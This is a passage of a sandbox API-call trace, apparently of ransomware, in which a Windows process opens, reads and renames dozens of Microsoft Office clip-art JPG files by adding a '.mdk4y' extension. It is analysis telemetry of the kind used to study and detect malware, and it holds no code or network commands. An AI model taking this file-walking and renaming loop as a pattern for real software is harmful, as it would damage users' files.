MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.mdk4y")) returned 1 [0169.260] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.260] AreFileApisANSI () returned 1 [0169.260] GetACP () returned 0x4e4 [0169.260] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382944.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382944.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.260] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824449100000) returned 1 [0169.261] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13e1d, lpOverlapped=0x0) returned 1 [0169.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824449700000) returned 1 [0169.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824449700000) returned 1 [0169.268] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.mdk4y")) returned 1 [0169.268] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.268] AreFileApisANSI () returned 1 [0169.268] GetACP () returned 0x4e4 [0169.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382947.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382947.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.269] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.269] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824449900000) returned 1 [0169.269] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1531c, lpOverlapped=0x0) returned 1 [0169.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824450100000) returned 1 [0169.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824450100000) returned 1 [0169.272] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.mdk4y")) returned 1 [0169.274] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.274] AreFileApisANSI () returned 1 [0169.274] GetACP () returned 0x4e4 [0169.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382948.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382948.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.274] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824450400000) returned 1 [0169.274] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ad37, lpOverlapped=0x0) returned 1 [0169.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824452900000) returned 1 [0169.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824452900000) returned 1 [0169.300] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.mdk4y")) returned 1 [0169.301] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.301] AreFileApisANSI () returned 1 [0169.301] GetACP () returned 0x4e4 [0169.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382950.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382950.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.302] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.303] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824453200000) returned 1 [0169.303] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x178d2, lpOverlapped=0x0) returned 1 [0169.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824454500000) returned 1 [0169.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824454500000) returned 1 [0169.316] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.mdk4y")) returned 1 [0169.317] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.317] AreFileApisANSI () returned 1 [0169.317] GetACP () returned 0x4e4 [0169.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382952.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382952.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.317] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824454800000) returned 1 [0169.318] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17749, lpOverlapped=0x0) returned 1 [0169.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824454900000) returned 1 [0169.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824454900000) returned 1 [0169.320] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.mdk4y")) returned 1 [0169.321] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.321] AreFileApisANSI () returned 1 [0169.321] GetACP () returned 0x4e4 [0169.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382954.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382954.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.321] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824455200000) returned 1 [0169.322] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15a7f, lpOverlapped=0x0) returned 1 [0169.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824456200000) returned 1 [0169.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824456200000) returned 1 [0169.333] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.mdk4y")) returned 1 [0169.334] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.334] AreFileApisANSI () returned 1 [0169.334] GetACP () returned 0x4e4 [0169.334] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382955.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382955.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.334] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.335] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824456500000) returned 1 [0169.335] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15fef, lpOverlapped=0x0) returned 1 [0169.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824457400000) returned 1 [0169.345] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824457500000) returned 1 [0169.346] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.mdk4y")) returned 1 [0169.347] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.347] AreFileApisANSI () returned 1 [0169.347] GetACP () returned 0x4e4 [0169.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382957.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382957.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.347] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824457800000) returned 1 [0169.348] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a9ed, lpOverlapped=0x0) returned 1 [0169.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824458000000) returned 1 [0169.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824458000000) returned 1 [0169.351] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.mdk4y")) returned 1 [0169.352] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.352] AreFileApisANSI () returned 1 [0169.352] GetACP () returned 0x4e4 [0169.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382958.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382958.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.352] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.353] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824458300000) returned 1 [0169.353] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x193e7, lpOverlapped=0x0) returned 1 [0169.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824458500000) returned 1 [0169.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824458500000) returned 1 [0169.356] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.mdk4y")) returned 1 [0169.357] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.357] AreFileApisANSI () returned 1 [0169.357] GetACP () returned 0x4e4 [0169.357] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382959.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382959.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.358] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.359] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824458900000) returned 1 [0169.359] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14f8a, lpOverlapped=0x0) returned 1 [0169.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824459000000) returned 1 [0169.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824459000000) returned 1 [0169.362] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.mdk4y")) returned 1 [0169.362] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.362] AreFileApisANSI () returned 1 [0169.363] GetACP () returned 0x4e4 [0169.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382960.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382960.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.363] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824459400000) returned 1 [0169.364] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a3f4, lpOverlapped=0x0) returned 1 [0169.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824459600000) returned 1 [0169.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824459600000) returned 1 [0169.367] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.mdk4y")) returned 1 [0169.368] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.368] AreFileApisANSI () returned 1 [0169.368] GetACP () returned 0x4e4 [0169.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382961.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382961.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.368] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824459800000) returned 1 [0169.368] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x18ac4, lpOverlapped=0x0) returned 1 [0169.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824460000000) returned 1 [0169.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824460000000) returned 1 [0169.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.mdk4y")) returned 1 [0169.374] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.374] AreFileApisANSI () returned 1 [0169.374] GetACP () returned 0x4e4 [0169.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382962.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382962.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.374] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824460500000) returned 1 [0169.375] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1bef7, lpOverlapped=0x0) returned 1 [0169.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824462300000) returned 1 [0169.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824462300000) returned 1 [0169.394] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.mdk4y")) returned 1 [0169.396] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.396] AreFileApisANSI () returned 1 [0169.396] GetACP () returned 0x4e4 [0169.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382963.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382963.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.396] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824462600000) returned 1 [0169.396] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17dee, lpOverlapped=0x0) returned 1 [0169.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824462800000) returned 1 [0169.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824462800000) returned 1 [0169.399] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.mdk4y")) returned 1 [0169.400] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) 